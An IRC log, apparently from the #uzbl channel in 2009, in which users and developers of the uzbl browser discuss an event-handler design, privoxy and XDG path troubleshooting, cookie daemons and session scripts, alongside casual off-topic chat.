02:22 < rob|> :)
02:23 < rob|> but it is way better controllable than links ;)
02:23 < joyfulgirl> rob|: Are you the Rob working on the new event handler?
02:24 < rob|> yes, madam
02:24 < homtiri> rob|: without configs?
02:25 < joyfulgirl> rob|: Howdy. Your idea seems interesting; the only critique I have before taking sometime to try it out is that perhaps the brackets 'round the instance name are unnecessary
02:25 < joyfulgirl> rob|: It's still readable without 'em, but it'll be just that little bit easier to parse the data without them
02:26 < joyfulgirl> (in the event messages, that is)
02:26 < joyfulgirl> I'm definitely going to try this out, though (just probably not today (-: )
02:27 < homtiri> btw, how does 50 instances of uzbl compare to opera/midori/firefox with 50 tabs?
02:27 < homtiri> anyone dared to test?
02:27 < joyfulgirl> 50 tabs???
02:28 < joyfulgirl> Are you browsing the web or tending a bar‽
02:28 < rob|> ah, very nice. well the brackets could be easily removed, though i put them in there in order to have a reliable anchor for regexpes
02:28 < joyfulgirl> rob|: Hmm, true
02:29 < joyfulgirl> rob|: But on the other hand, events generally seem to be one_arg, you know?
02:29 < homtiri> joyfulgirl: just wondering.
02:29 < rob|> well, actually we could allow the user to compose his very own message format
02:29 < joyfulgirl> rob|: true
02:32 < rob|> anyways, i'd be happy to see some comments on the ML. i'm open to any ideas, regarding the format or anything else
02:33 < rob|> i'd really like to have this in uzbl but don't want to decide over the mahorities head, you know..
02:33 < joyfulgirl> rob|: right, of course
02:36 < rob|> homtiri: i'm running uzbl on a laptop with 256MB of ram and had like 20 tabs open without any issues
02:37 < rob|> i.e. no insane swapping
02:39 < homtiri> I was drunk last night, I decided to do a research, I don't exactly remember about what and why the hell. I opened google with Vimperator, googled the keyword, went one page after another opening the links looked good. I continued doing this for a long time (I was fucking drunk), then I got bored even before reading any of the opened tabs (*sigh* :)). I was like "fuck that, I'm going to sleep", then I hit alt+w to close vimperator's window. It said that there we
02:39 < rob|> that's my main OSS devel machine actually, the desktop is currently the bread earning machine and running VS.NET :(
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02:40 < rob|> homtiri: your mesage got trunctated after " It said that there we"
02:40 < rob|> +s
02:40 < homtiri> awesome, nevermind :D
02:41 < homtiri> add random monty python quote to the rest
02:41 < rob|> haha
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03:43 < ybit> Aug 04 20:43:19.867 00000001 Fatal error: can't check configuration file '/home/heath/builds/uzbl/config':  No such file or directory
03:44 < ybit> that's from starting privoxy
03:44 < ybit> the output that is, anyone come across this. all that is needed is for privoxy to look at the appropriate config file
03:49 < Rodya> privoxy is trying to use /home/heath/builds/uzbl/config for its configuration? does that file actually exist?
03:49 < ybit> no it's in /home/heath/.config/uzbl/config
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03:51 < Rodya> maybe i'm misunderstanding, but why are you trying to have privoxy read from uzbl's config file?
03:51 < ybit> that's what privoxy does when it starts up
03:52 < ybit> heath # privoxy
03:52 < ybit> Aug 04 20:51:42.589 00000001 Fatal error: can't check configuration file '/home/heath/config':  No such file or directory
03:52 < ybit> and then back to the prompt
03:52 < Rodya> well, if you want to specify a config file, privoxy /path/configfilename
03:53 < ybit> i don't know why it looks for a config file, i'm still trying to figure that one out myself
03:53 < Rodya> privoxy has to have one
03:53 < ybit> i don't think pointing privoxy to the uzbl config file is going to be of much use
03:53 < Rodya> but not uzbls
03:54 < Rodya> what distro and for what purpose are you trying to use privoxy? i can help you with it as i use it as well
03:55 < ybit> i'm using the gentoo distribution and need some ad-block support in uzbl
03:56 < Rodya> did you emerge privoxy or build it yourself?
03:56 < ybit> i emerged it
03:56  * ybit is reading the privoxy user manual for clarification 
03:56 < Rodya> what if you try to start privoxy with this (as root): /etc/init.d/privoxy start
03:57 < ybit> aha
03:57 < ybit> well we have found the config file
03:57 < ybit> Aug 04 20:56:46.046 00000001 Error: Ignoring unrecognized directive 'keep-alive-timeout 300' (3878599515ul) in line 1492 in configuration file (/etc/privoxy/  [ !!
03:57 < Rodya> aye, the default config is /etc/privoxy/config
03:57 < ybit> si
03:59 < ybit> commenting out that line gives me...
03:59 < ybit> # /etc/init.d/privoxy start
03:59 < ybit>  * Starting privoxy ...                                                                                                                                            [ !!
03:59 < ybit> and netstat shows that it didn't start
03:59 < Rodya> try, as root, privoxy /etc/privoxy/config
03:59 < Rodya> maybe that will give an error message
04:00 < ybit> it did not
04:01 < Rodya> is it set to log things in the config? (look for a line logdir /var/log/privoxy or the like)
04:01 < Rodya> it'll also need logfile logfile or the like somewhere as well
04:02 < ybit> you kind of read my mind but spoke before i could act :)
04:02 < ybit>  127.0.0.1:8118: There may be another Privoxy or some other proxy running on port 8118
04:02 < ybit> from the .log
04:02 < ybit> several of those messages
04:02 < Rodya> ps -aux | grep privoxy
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04:03 < Rodya> will show you any running instances and pid etc
04:03 < ybit> right
04:03 < ybit> was looking at my netstat output, doesn't show anything using port 8118
04:03 < ybit> root      9891  0.0  0.0   2268   644 ?        Ss   20:52   0:00 privoxy /home/heath/.config/uzbl/config
04:03 < ybit> from ps
04:04 < Rodya> kill -9 9891 FOR MAXIMUM KILLING
04:04 < ybit> already killed it
04:04 < Rodya> i just had to say that lol
04:04 < ybit> :)
04:04 < ybit> alright
04:04 < ybit> /etc/init.d/privoxy start worked fine
04:05 < Rodya> :D
04:05 < Rodya> i'm not sure how its configured by default, did you try setting it up to forward things correctly for what you want to do?
04:05  * ybit wonders why /usr/bin/privoxy would automatically search for a uzbl config
04:05 < ybit> no tyet
04:05 < Rodya> that is strange
04:05 < ybit> just wanted to get it working first
04:05 < Rodya> maybe some environment variable?
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04:18 < homtiri> are developers thinking about implementing progressive page rendering?
04:21 < Rodya> i thought it did that?
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04:23 < homtiri> oh, in my case it doesn't
04:23 < homtiri> it just waits until recv to complete in most cases
04:23 < Rodya> maybe it depends on what libwebkit version
04:24 < homtiri> with a local file with remote image links, it renders the html and stucks untill all images are recieved
04:24 < homtiri> oh
04:24 < homtiri> Rodya: which version do you use?
04:25 < Rodya> 1.1.10
04:26 < Rodya> although, you could also try increasing max_conns and max_conns_host in the uzbl config
04:26 < homtiri> same here
04:26 < Rodya> mine are 60 ans 25 respectively
04:26 < Rodya> and*
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04:31 < homtiri> Rodya: didn't change anything :/
04:33 < homtiri> it takes so much time to render and give the control to me on big sites
04:34 < homtiri> for example, in facebook it takes 50 to pass white screen
04:34 < homtiri> firefox loads facebook in 3 seconds
04:36 < homtiri> oh maybe 8 seconds, but still uzbl takes so much time
04:37 < kibombo> how do you set $XDG_DATA_HOME?
04:39 < homtiri> kibombo: I didn't do anything special for it
04:40 < homtiri> it was already been in my env
04:40 < kibombo> i am told
04:40 < kibombo> error on run_command: Failed to execute child process "$XDG_DATA_HOME/uzbl/scripts/history.sh" (No such file or directory)
04:40 < kibombo> error on run_command: Failed to execute child process "$XDG_DATA_HOME/uzbl/scripts/cookies.py" (No such file or directory)
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04:42 < homtiri> oh that wasn't a question about my problem, sorry :)
04:42 < kibombo> oh :)
04:43 < homtiri> installing something related xdg would fix this, xdg-utils maybe, i dont know
04:43 < homtiri> or add these to /etc/profile
04:44 < homtiri> or replace $XDG_DATA_HOME with /home/user/.local/share
04:50 < kibombo> i already have xdg-utils
04:50 < kibombo> should i put $XDG_DATA_HOME = /home/user/.local/share in /etc/profile?
04:51 < kibombo> i created the dirs ~/.local/share/uzbl/scripts and put the scripts there, same output
04:53 < homtiri> yes do that
04:55 < kibombo> i created the dirs ~/.local/share/uzbl/scripts and put the scripts there, got the same output from uzbl. uzbl/scripts was also put in /etc
04:55 < kibombo> same output
04:55 < kibombo> alright, i'll do that
04:55 < homtiri> kibombo: patrick brisbin has a nice howto to quickly get uzbl working
04:55 < homtiri> http://pbrisbin.com:8080/uzbl.html
04:55 < kibombo> very nice,  thank you homtiri
04:57 < homtiri> oh, maybe it is libxdg-basedir package
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04:57 < homtiri> or xdg-user-dirs
04:57 < homtiri> both on community
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05:05 < Rodya> homtiri, sorry, not sure what would be the reason for it not rendering progressively
05:32 < kibombo> i put $XDG_DATA_HOME = /home/user/.local/share in /etc/profile
05:32 < kibombo> didn't work
05:32 < kibombo>  echo $XDG_DATA_DIRS
05:32 < kibombo> /usr/local/share:/usr/kde/3.5/share:/usr/share
05:33 < kibombo> so i copies the uzbl/scripts to /usr/loca/share
05:33 < kibombo> still the same erros
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06:29 < alain> what runs faster uzbl or opera
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06:44 < kibombo> startup time: uzbl
06:44 < kibombo> easy
06:45 < kibombo> alain, don't leave me, i can actually contribute to this channel with comments not backed up by data (yet)
06:45 < kibombo> aww, there goes my chance to feel worthwhile in here
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09:16 < Dieterbe> good morning
09:18 < ruskie> lo
09:27 < Dieterbe> fresch: cool to see you here too. i love your dmenu patches
09:27 < Dieterbe> (but you know that already :)
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09:56 < kibombo> ruskie: you wouldn't happen to have an idea why uzbl can't find cookies.sh?
09:58 < ruskie> no path set to it?
09:58 < ruskie> no clue? how come this is heading to me?
10:04 < rob|> morning.
10:04 < mason-l> Afternoon all.
10:06 < lwithers> kibombo: have you a) made sure cookie.sh is marked as executable and b) made sure that XDG_CONFIG_HOME is set in your env?
10:08 < scj> or just use expanded paths in your config
10:09 < kibombo> error on run_command: Failed to execute child process "$XDG_DATA_HOME/uzbl/scripts/cookies.py" (No such file or directory)
10:09 < kibombo> and it doesn't exist
10:09 < kibombo> there's a cookies.sh
10:10 < kibombo> error on run_command: Failed to execute child process "$XDG_DATA_HOME/uzbl/scripts/history.sh" (No such file or directory)
10:10 < kibombo> but there is a history.sh
10:10 < kibombo> and it executable
10:10 < lwithers> ok, what does echo $XDG_DATA_HOME from a shell tell you?
10:11 < kibombo> /home/safar/.local/uzbl/scripts/cookies.py
10:11 < kibombo> /home/safar/builds/uzbl/examples/data/uzbl/scripts/cookies.py
10:11 < kibombo> /usr/share/uzbl/examples/data/uzbl/scripts/cookies.py
10:11 < kibombo> that's from locate cookies.py
10:12 < kibombo> lwithers: it shows nothing
10:12 < kibombo> a blank line
10:15 < lwithers> ok, so you need to set it for uzbl to expand it
10:15 < lwithers> e.g.
10:16 < lwithers> export XDG_CONFIG_HOME="${HOME}/.config"
10:16 < lwithers> export XDG_DATA_HOME="${HOME}/.local/share"
10:16 < lwithers> http://standards.freedesktop.org/basedir-spec/basedir-spec-0.6.html
10:16 < lwithers> or, as scj says, you can just write out the full path in uzbl's config
10:16 < lwithers> or you can write it in terms of $HOME, which will always be set
10:17 < lwithers> /home/safar/.local/uzbl/scripts/cookies.py    --> should probably be /home/safar/.local/share/uzbl/scripts/cookies.py   if using XDG_DATA_HOME
10:18 < kibombo> yay, i have cookies
10:18 < kibombo> and history
10:18 < kibombo> no complaints in the terminal
10:18 < lwithers> good good :)
10:18 < kibombo> </evil_scientist_voice>
10:19 < kibombo> should i hand you a cat to pet as well ;)
10:22 < rob|> go-go gadgeto-uzbl
10:23 < Dieterbe> gadgeto=?
10:24 < rob|> i bet inspector gadget would use uzbl ;)
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10:25 < holizz> Where's uzblbot when you need to add a quote?
10:26 < lwithers> I do actually have a good evil cat :)
10:26 < lwithers> he's a seal-pointed Birman
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10:28 < Dieterbe> holizz: what do you mean where's the bot? he's right here. are you blind? :)
10:30 < alain_> is there a beginners guide to uzbl somewhere
10:32 < holizz> alain_, The README?
10:33 < holizz> Dieterbe, I see what you did there.
10:34 < Dieterbe> now add your quote.  if that even works with this ***** of ****
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10:37 < holizz> Dieterbe, You spelt two words wrong there. I'll give you a hint, there are no English words consisting entirely of asterisks.
10:37 < Dieterbe> holizz: who said those are words? they are censored words :)
10:39 < holizz> This isn't the BBC, you don't have to censor yourself.
10:39 < holizz> New entry to the IRC FAQ: Q: Is IRC the BBC? A: No.
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10:41 < Dieterbe> it's not because you can, that you should
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10:45 < holizz> Why not just not use naughty words in the first place? Like "if that even works with this dollop of raspberry jam"
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10:47 < Dieterbe> because that's sounds silly
10:49 < holizz> No! Stop this sketch! It's too silly! Silly, silly, silly!
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10:50 < Dieterbe> hm, did i miss something?
10:51 < holizz> That was a Monty Python reference.
10:51 < Dieterbe> hmm i saw the holy grail (didn't like it that much) and i saw the series with the hotel (liked it) but can't remember that phrase
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10:55 < holizz> The series with the hotel is called Fawlty (sp?) Towers. That wasn't Monty Python, it was just John Cleese.
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10:55 < holizz> That phrase was from the TV series, Monty Python's Flying Circus.
10:56 < Dieterbe> i see
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10:57 < holizz> Anyway, GTG. I should have left half an hour ago, but I was eating.
10:57 < holizz> Mmm, tofu burgers.
10:59 < homtiri> TOFU!
11:01 < scj> naughty words will corrupt your soul
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11:02 < holizz> l8rs, d00dz
11:02 < scj> but I do not know why you would censor 'piece', which I assume is the first word
11:04 < Dieterbe> just to confuse people :)
11:05 < Dieterbe> maybe * ****** censore more ***** just to confuse ******
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11:06 < scj> it may also be because you actually said "this penis of butt"
11:07 < Dieterbe> that, will forever be a big mistery to everyone (except me)
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12:17 < hatori> heya
12:17 < hatori> little question. when i use privoxy with uzbl. i keep getting connection unexpectedly closed issues. and css not rendering properly
12:17 < hatori> but when i use it with firefox its fine
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12:33 < rob|> trivial command history solution with event messages:  uzbl|while read E; do echo "$E" | sed -ne 's/^COMMAND_EXECUTED \[.*\] \(.*\)$/\1/p' >> command_history_file; done
12:35 < mason-l> rob|, Whats all this then?
12:35 < rob|> ?
12:35 < mason-l> :P
12:35 < mason-l> Half one-liner half question.
12:36 < rob|> heh
12:36 < mason-l> I'm trying to figure out how your new command system works.
12:36 < mason-l> Well.. not so much work but how practical it is.
12:37 < rob|> s/command/event/ ^^
12:38 < mason-l> rob|, Do you have any demonstration sessions anywhere?
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12:38 < rob|> well, i wrote it up to the ML and attached a sample key handler
12:38 < rob|> http://lists.uzbl.org/pipermail/uzbl-dev-uzbl.org/2009-August/000261.html
12:40 < mason-l> Ah, my problem was that I missed a section reading your mailing list post on my phone.
12:41 < mason-l> rob|, I would use the full fifo path though and maybe include the socket path
12:42 < mason-l> for people using non-standard fifo & socket locations.
12:42 < mason-l> or (maybe) socket filenames.
12:43 < rob|> yeah indeed, that's just a basic implementation to get you an idea there's much room for improvement
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12:44 < mason-l> I must admit, I find the idea interesting.
12:45 < mason-l> although what happens if the handler doesn't want to reply to an event. uzbl blocks doesnt it?
12:45 < mason-l> blocks waiting for input on the fifo?
12:46 < mason-l> or its stdin?
12:46 < mason-l> Wait scratch stdin :P
12:46 < rob|> no, there is no requirement to react in any way to events
12:46 < mason-l> rob|, What about handlers that are blocking?
12:46 < mason-l> I.e. the cookie handler
12:47 < rob|> well for the cookie handler we could introduce a flag variable and wait for a specified time to get an answer, actually similat to what talk_to_socket does
12:48 < mason-l> Good idea, I certainly think something to that effect would be required.
12:49 < rob|> in fact i'd like to have a command: event_messages <transport> <events to send out>   that would just setup a fifo/socket or whatever transport you can imagine and send out the requested events through it
12:50 < rob|> i.e. abstract talk_to_socket to be just a transport means that doesn't make any assumptions about the data it actually transports
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12:51 < mason-l> rob|, You are going to run into problems determining when a reply message ends with that wont you?
12:51 < mason-l> Right now we use packets to split the talk_to_socket commands
12:51 < mason-l> and nulls to split parameters.
12:52 < rob|> that's probably true for responses that need to be multiline
12:53 < mason-l> Can you think of a handler that returns or sends a multi-line string at the moment?
12:53 < rob|> although we could use a similar approach like html mode
12:54 < rob|> well, no i can't
12:54 < mason-l> I do something similar with uzbl_tabbed.py
12:54 < mason-l> I use an md5 for command separation and another for message termination.
12:55 < mason-l> But thats not entirely applicable in this situation.
13:01 < scj> Dieterbe: "In that case, what we've done is basically shifted the problem from uzbl to a new tool." <- isn't that the unix philosophy?
13:02 < rob|> ack
13:05 < rob|> so, for now i guess we should put up a list of events that should be reported (e.g. insert/command mode toggling). maybe there should also be a VARIABLE_CHANGED event that spits out an event message whenever one of ours vars changes value, etc.
13:05 < mason-l> Thats a very nice event to catch.
13:06 < hatori> thing that bothers me
13:06 < hatori> my cookie.py is so utterly slow
13:07 < mason-l> hatori, Use cookie_daemon.py
13:07 < hatori> checking ty
13:07 < mason-l> hatori, You can grab it from here http://github.com/mason-larobina/uzbl/tree/cookie_daemon I haven't made a wiki page on it yet
13:08 < mason-l> (its in the usual scripts folder)
13:08 < mason-l> (And you will need to change your config a little to use talk_to_socket in your cookie_handler uzbl config.
13:08 < mason-l> )
13:09 < scj> the name talk_to_socket is kind of unnecessarily verbose, imo
13:09 < scj> couldn't it be shortened to 'socket'?
13:10 < scj> because a sockets of implies communication
13:10 < scj> sort of*
13:13 < hatori> mason-l: talk_to_socket?
13:13 < hatori> scj: yeah but still socket is ambiguous
13:13 < mason-l> hatori, Yeah instead of spawn or js other uzbl config commands.
13:13 < hatori> mason-l: aahhh ok
13:14 < mason-l> set cookie_handler = talk_to_socket /path/to/cookie/daemon/socket
13:14 < mason-l> Currently you need to start the cookie handler yourself (until talk_to_socket is improved inside uzbl itself)
13:15 < scj> does it need to be?
13:16 < scj> I mean, can't a launch script take care of making sure there is a running cookie daemon and set $COOKIE_SOCKET, so you can do 'set cookie_handler = socket $COOKIE_SOCKET'?
13:16 < mason-l> scj, Yes, entirely possible.
13:17 < hatori> ill experiment later with it
13:17 < mason-l> I've added ~/.bin to my path and added a uzbl launcher in there that starts the cookie_daemon before launching uzbl. (the daemon quits if there is another running)
13:18 < hatori> hm
13:18 < mason-l> (it quits automatically I should say)
13:18 < hatori> so basically #!/bin/sh \n ~/.config/uzbl/scripts/cookie_daemon.py \n uzbl $@
13:18 < hatori> ?
13:19 < mason-l> hatori, Exactly.
13:19 < hatori> launching the python interpreter everytime blows though
13:19 < mason-l> hatori, You can make a check to see if the cookie_socket exists then
13:19 < mason-l> check at the top of the cookie_daemon it tells you where its making the socket
13:19 < mason-l> then check it exists before calling cookie_daemon
13:20 < mason-l> [[ -f ~/.path/to/cookie/socket ]] is the command I think.
13:22 < rob|> btw, shouldn't cookie_daemon use a pid file?
13:23 < mason-l> At the moment the cookie_socket is the pid file.
13:23 < mason-l> its created and destroyed when cookie_daemon.py is.
13:23 < mason-l> (The creator cleans up after itself I mean)
13:24 < mason-l> But having a pid would make it easier to kill.
13:24 < rob|> yeah, but a standard pid file would allow to use pidof and friends
13:24 < mason-l> I was working on {start|stop|restart} commands like a normal /etc/init.d/ daemon or /etc/rc.d/ daemon (for arch users)
13:25 < mason-l> Though of course the daemon wouldnt live in /etc/init.d/
13:26 < scj> wait wat
13:26 < scj> a system global cookie handler?
13:26 < mason-l> no
13:26 < mason-l> wouldnt work.
13:27 < mason-l> I just mean when calling the daemon you can tell it to kill the currently running daemon (if there was one) easily.
13:28 < mason-l> And in that way it would act like the daemons in /etc/init.d/
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13:39 < Dieterbe> 13:01:04 < scj> Dieterbe: "In that case, what we've done is basically shifted the problem from uzbl to a new tool." <- isn't that the unix philosophy?
13:39 < Dieterbe> 13:02:33 < rob|> ack
13:40 < Dieterbe> unix philosophy is separating concerns, but still solving the problem
13:41 < mason-l> To check if a file doesn't exist in bash you use this don't you: [[ -f file ]] || echo "Will print if doesnt exist"
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13:42 < mason-l> So you use "&& & ||'s in bash to invert the expression?
13:42 < mason-l> "&&" & "||"'s
13:49 < hatori> scj: i got what you mean now, sorry, yeah i guess socket is better
13:50 < hatori> i was totally wondering why my uzbl was so insanely usable. can't believe the cookies handler is so frikkin heavy
13:52 < mason-l> hatori, You can see the cookie_daemon.py setup in here http://github.com/mason-larobina/dotfiles/tree/master
13:53 < mason-l> You can see my .config/uzbl/config for the handler setup, my .bin/uzblc for the uzbl launcher that checks the cookie_daemon.py is running and the adding of .bin to my $PATH in my .bashrc
14:02  * ruskie still needs to finish his own cookie handler
14:02 < mason-l> ruskie, What will yours do?
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14:03 < ruskie> what I want it to ;)
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14:04 < ruskie> a) not store cookies unless I white list it b) store cookies in ram and only sync to encrypted persistent storage when all instances of uzbl are offline
14:05 < Dieterbe> sounds fancy
14:05 < ruskie> and never EVER ask me about a cookie... if it's not in the whitelist it means it's not there
14:05 < ruskie> well ram == ram filesystem... probably something fuse based
14:05 < ruskie> also it will run from that filesystem
14:06 < ruskie> so loading should be much reduced
14:06 < ruskie> http://ruskie.codemages.net/cgi-bin/gitweb.cgi?p=configs/uzbl.git;a=blob;f=scripts/cookie_handler.sh;h=db775327e607e19cdd0493988bc7994710361a33;hb=master <-- that's what I have atm
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14:07 < ruskie> hmm
14:07 < Dieterbe> but.. if you only have 1 cookie handler process, why not just use the memory of that process?
14:07 < Dieterbe> no need for fuse/tmpfs/..
14:07 < ruskie> scratch that some unocommited things
14:08 < ruskie> http://ruskie.codemages.net/cgi-bin/gitweb.cgi?p=configs/uzbl.git;a=blob;f=scripts/cookie_handler.sh;h=9d9dece6bb5430d2efd66df416d24b9a5bb900f1;hb=master <-- that's the one
14:08 < ruskie> I might even make it a daemon that uses a socket
14:08 < ruskie> Dieterbe, because I prefer everything as a file ;)
14:09 < Dieterbe> ok
14:10 < ruskie> I just need to get the cookie matching code working properly for returning the right cookies
14:11 < mason-l> Do you use ii ?
14:11 < mason-l> @ruskie
14:11 < ruskie> also need to finish the what if there is already a cookie with the same name to update it code
14:11 < ruskie> ii?
14:11 < mason-l> ruskie, You will love it
14:11 < ruskie> what is it?
14:11 < mason-l> Its uzbl meets irc.
14:11 < ruskie> before you proclaim it so
14:12 < mason-l> http://en.wikipedia.org/wiki/Ii_(IRC_client)
14:12 < ruskie> considering that irssi is still for me the ultimate in irc clients...
14:12 < Dieterbe> mason-l: do you use it? i've been meaning to try it already for a while
14:12 < ruskie> I don't think ii would fit well
14:12 < mason-l> Dieterbe, I want to try it out.
14:13 < mason-l> I'm loving wmii though.
14:13 < Dieterbe> same here
14:13 < mason-l> I'm going to install wmii on my desktop this week.
14:13 < Dieterbe> i think irssi is too bloated for me
14:13 < mason-l> I mean configure.
14:13 < ruskie> I am waiting for weechat to get a few more features
14:13 < ruskie> then I'll probably switch to it
14:14 < ruskie> I've got way to many channels to use the ii approach
14:14 < ruskie> it would become unmanagable
14:14 < ruskie> not to mention I need to switch between them quickly and have highlits visible etc...
14:16 < ruskie> and I don't use screen or tmux since they do a lot more than need be
14:16 < Dieterbe> i think ii users probably have wrapper scripts and tools to make ii workable
14:17 < ruskie> possibly... though I doubt many have 80 channels or more
14:17 < scj> ii without wrapper scripts would be a study in masoschism
14:18 < ruskie> :)
14:18 < ruskie> study nothing
14:18 < ruskie> would be masoschism
14:18 < ruskie> people also use vim with it or splitvt
14:23 < ruskie> frankly it would need keybindings, command bindings, a viewport and an input line... and then you suddenly have irssi or weechat
14:25 < Dieterbe> but with more flexibility and less bloat :)
14:26 < ruskie> http://www.zsh.org/mla/users/2006/msg00582.html <-- there's also this
14:29 < Dieterbe> heh that's cool
14:29 < ruskie> hmm I wonder how uzbl would run on openinkpot
14:29 < scj> exactly 14 weeks since #uzbl was registered
14:31 < mason-l> Have we ever broken the 100 user mark?
14:33 < Dieterbe> i don't know. we only have uzblbot and it doesn't track it
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14:33 < Dieterbe> i recently noticed we were at 96. that's the highest i know of
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14:39 < ruskie> hmm would be nice to have a statusbar item in uzbl that tells the % of the page one is on atm... since there is no scroolbar to show any indication
14:41 < bob_f> Hullo.
14:41 < ruskie> lo
14:42 < bob_f> Anything amazing happened in the last week or so ?
14:44 < Dieterbe> yeah. about 6 convicts have escaped from prison in Belgium
14:45 < bob_f> Yikes.
14:45 < Dieterbe> in fact, 39 convicts so far this year :/
14:45 < Dieterbe> amazing
14:50 < rob|> what's up with the prisons over there?
14:52 < Dieterbe> they are overcrowded (in fact, we "rent" prisons in holland) + badly guarded it seems
14:54 < Dieterbe> i wonder if other countries don't have the same problems. the media obviously always uses phrases like "this can only happen in belgium", but those people are brainwashers
14:55 < mason-l> I'd imagine America is worse in that department.
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15:09 < jpic> one sect guru escaped by helicopter from a french prison a couple of months ago
15:10 < jpic> ruskie: i totally agree!
15:10 < Dieterbe> oh, i should probably mention that in Belgium apparantly escaping from prison is not a crime, according to our laws :/
15:10 < Dieterbe> but i guess our beloved politicians will change that now
15:11 < jpic> well, i guess as long as you're not out for long it should be ok xD
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15:12 < MichaelRaskin> They can go creative and implement term reset for escape..
15:12 < MichaelRaskin> Although it creates some incentive in the first year
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15:31 < mason-l> http://www.reddit.com/r/funny/comments/97jht/i_hate_my_job/ :)
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16:30 < Deepspawn> How this page renders to you? I see the code all mangledhttp://www.tartley.com/?p=805
16:30 < Deepspawn> http://www.tartley.com/?p=805
16:30 < ruskie> looks fine
16:37 < Deepspawn> Umm maybe I have another font problem, now to hunt it
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18:35 < vin3> exit
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18:52 < jelly12gen> hi
18:52 < jelly12gen> i use uzbl with tabbed.layout in xmonad it works great
18:52 < jelly12gen> i start uzbl with a custom script wich loads some standard sites i visit every day
18:53 < jelly12gen> but when i shut down i would like to store the urls i have open , so is there an option to copy an url to an file and shutdown ?
18:54 < rob|> jelly12gen: uzblctrl -s socketfile -c 'print @uri'
18:54 < jelly12gen> hmm
18:55 < jelly12gen> should i add that to my config or run it in the cli?
18:57 < jelly12gen> rob|: it doesnt work
18:58 < jelly12gen> nevermind
18:58 < rob|> yeah, run it from the shell
18:58 < jelly12gen> it's located in /tmp
18:58 < jelly12gen> ok time for bash
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19:12 < jelly12gen> rob|: thanks man , i made a script to do it
19:13 < scj> jelly12gen: something like this http://pastie.org/572803
19:14 < jelly12gen> http://dpaste.com/75624/
19:14 < jelly12gen> hmm
19:14 < jelly12gen> yours is nicer :D
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19:41 < jelly12gen> here is my improved script http://dpaste.com/75644/
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19:43 < jelly12gen> should i put it somewher e ?
19:44 < scj> put it on the wiki
19:45 < jelly12gen> ok
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19:47 < jelly12gen> scj: can you pass arguments to the scripts in your config
19:47 < jelly12gen> like  xall = script ~/bin/sessionuzbl -s
19:48 < jelly12gen> got it
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20:20 < jelly12gen> scj: good but how do i add an script ?
20:20 < scj> to the wiki?
20:20 < jelly12gen> yeah
20:21 < jelly12gen>  or article
20:21 < jelly12gen> i need to register right
20:21 < scj> edit http://www.uzbl.org/wiki/scripts to refer to the script you want to add
20:21 < scj> click on link, edit that
20:22 < jelly12gen> hmm i cant edit it
20:22 < scj> and yes, you'll need to register
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20:23 < jelly12gen> ah ofc.
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20:43 < jelly12gen> scj: finished
20:43 < jelly12gen> :)
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22:51 < Evanlec> good afternoon
22:52 < Evanlec> so has mouse support been merged into the trunk yet?
22:57  * N30N fixed zoom bug in the scroll percentage script http://www.uzbl.org/wiki/scroll-percentage
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00:03 < holizz> Evanlec, Don't think so. grep for something like "<mouse". I think it was in krayon's tree, in case you want to check that out.
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00:04 < Evanlec> mah
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02:12 < fumbles> does uzbl tab complete urls ? when trying to input a url
02:20 < rob|> no
02:22 < rob|> although, you can use e.g. dmenu/dmenu-vertical which work in a similar way to ff input bar
02:22 < rob|> *ff's
02:22 < fumbles> that's right...I forgot about that
02:23 < rob|> http://www.uzbl.org/wiki/per-instance-history
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04:40 < homtiri> hi ho
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04:50 < g111> hi, any one has html-rendering probles at (e.g.) pastebin. Top left. It would be a webkit problem, isn't it?
04:51 < g111> s/probles/probems/
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05:05 < bct_> pastebin looks fine to me
05:05 < homtiri> same here
05:05 < bct_> anybody else get "Override this function." on http://en.wikipedia.org/wiki/5' ?
05:06 < homtiri> bct_: nothing weird here
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05:07 < bct_> strange, maybe i'm just getting a bad mirror.
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05:08 < homtiri> probably
05:09 < homtiri> uzbl works so slow on my pc :(
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09:18 < Dieterbe> morning bitch.. i mean ladies
09:18 < holizz> A rude word! A rude word!
09:18 < holizz> I'm telling.
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09:44 < homtiri> hello
09:49 < Dieterbe> hi
09:50 < homtiri> can anybody help me about uzbl being slow?
09:51 < Dieterbe> disable the cookie handler
09:51 < homtiri> slow is "firefox opens a new tab, loads and renders facebook in 8 seconds but uzbl opens, loads and renders it in 50 seconds" kinda slow
09:52 < homtiri> and i dont even want to compare it with chromium, its blazing fast
09:53 < Dieterbe> do what i just said
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09:56 < homtiri> ok that did it
09:56 < homtiri> 8 seconds here
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09:56 < homtiri> but still not fast as chromium :(
09:57 < homtiri> not to mention i need cookies, but i know devs are going to fix it
10:07 < holizz> homtiri, Use a cookie daemon.
10:08 < scj> I would assume that google has spent quite some time fine tuning chromium, so I'd be surprised of uzbl actually was faster
10:08 < scj> if*
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10:28 < MichaelRaskin> WebKit seems to fix and reintroduce the same two acid3 bugs..
10:28 < MichaelRaskin> Periodically
10:31 < MichaelRaskin> Ah non
10:32 < MichaelRaskin> That time they didn't affect midori and coud be fixed by slightly changing js event handlers.
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13:47 < ruskie> hmm talk_to_socket could be usable even with bash... just need to use socat to translate unix domain socket to a tcp or udp socket
13:48 < Dieterbe> heh socat looks col
13:48 < Dieterbe> cool*
13:48 < ruskie> infact this means one could control uzbl from a remote session
13:48 < ruskie> i.e. remote machine running a mail client in screen
13:49 < ruskie> and you could open links on your local machine easily
13:49 < ruskie> uzbl opens a socket by default right?
13:50 < ruskie> hmm now just need a nice way of figuring out how to handle it all
13:50 < ruskie> hmm uzbltabbed doesn't though
13:50 < mason_l> ..?
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13:51 < ruskie> open a socket
13:51 < ruskie> just a fifo
13:54 < Dieterbe> ruskie: your remote scenario also brings up the question: why no tcp sockets?
13:55 < ruskie> you mean by uzbl?
13:55 < Dieterbe> yeah
13:55 < ruskie> not secure enough
13:56 < ruskie> you would need to get some login functionality then
13:56 < ruskie> which imho is bloat
13:56 < ruskie> if the user is reasonably certain that his network is secure then let him set up an unsecure tcp socket
13:57 < ruskie> hence why tools like socat etc... exist
13:57 < mason-l> Unbelievable, my network carrier actually cares about Android users. They are finally pushing the Cupcake update to us.
13:57 < ruskie> the what?
13:57  * ruskie note he only has 25h to go 'till vacation
13:58 < ruskie> and more than a week 'till delayed payday
13:58 < ruskie> grumbl
13:58 < ruskie> I plan on buying a nokia N810 I think under 200eur is the price I can get it for...
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13:59 < ruskie> hmm actually socat seems to be able to use fifos as well
14:00 < scj> socat is pretty damn nice!
14:00 < ruskie> btw mason-l ever notice that some tabs might open only as Page ## and be blank?
14:00 < mason-l> I've seen it once.
14:00 < mason-l> While visiting docs.python.org/
14:00 < ruskie> I keep getting it quite a bit
